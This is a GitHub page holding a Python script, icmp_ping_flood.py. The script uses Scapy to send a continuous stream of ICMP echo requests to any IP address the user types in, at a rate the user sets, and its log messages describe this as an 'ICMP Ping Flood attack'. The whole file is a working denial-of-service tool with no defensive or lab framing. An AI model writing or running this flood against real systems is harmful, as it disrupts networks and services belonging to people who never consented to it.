-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathicmp_ping_flood.py
38 lines (32 loc) · 1.9 KB
/
icmp_ping_flood.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import logging # Import the logging library for better control over log messages
import scapy.all as scapy # Import all functions from Scapy for packet manipulation
import time # Import the time library for rate-limiting
from threading import Thread # Import Thread class for multi-threading
# Configure logging settings
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def send_icmp_ping(target_ip, rate_limit):
"""
Send ICMP echo requests (ping) to the target IP address at a specified rate.
:param target_ip: The IP address of the target machine.
:param rate_limit: The number of packets to send per second.
"""
packet = scapy.IP(dst=target_ip) / scapy.ICMP() # Construct an ICMP packet with the target IP address
interval = 1.0 / rate_limit # Calculate the interval between packets based on the rate limit
logging.info(f"Starting ICMP Ping Flood attack on {target_ip} with a rate limit of {rate_limit} pings/second")
while True:
try:
scapy.send(packet, verbose=False) # Send the ICMP packet without verbose output
time.sleep(interval) # Wait for the specified interval before sending the next packet
except KeyboardInterrupt:
logging.info("Attack stopped by user")
break
def start_attack():
"""
Prompt the user for target IP and rate limit, then start the ICMP ping flood attack.
"""
target_ip = input("Enter the target IP address: ") # Prompt the user to input the target IP address
rate_limit = int(input("Enter the rate limit (packets per second): ")) # Prompt the user to input the rate limit
attack_thread = Thread(target=send_icmp_ping, args=(target_ip, rate_limit)) # Create a new thread for the attack
attack_thread.start() # Start the attack thread
if __name__ == "__main__":
start_attack() # Start the attack when the script is executed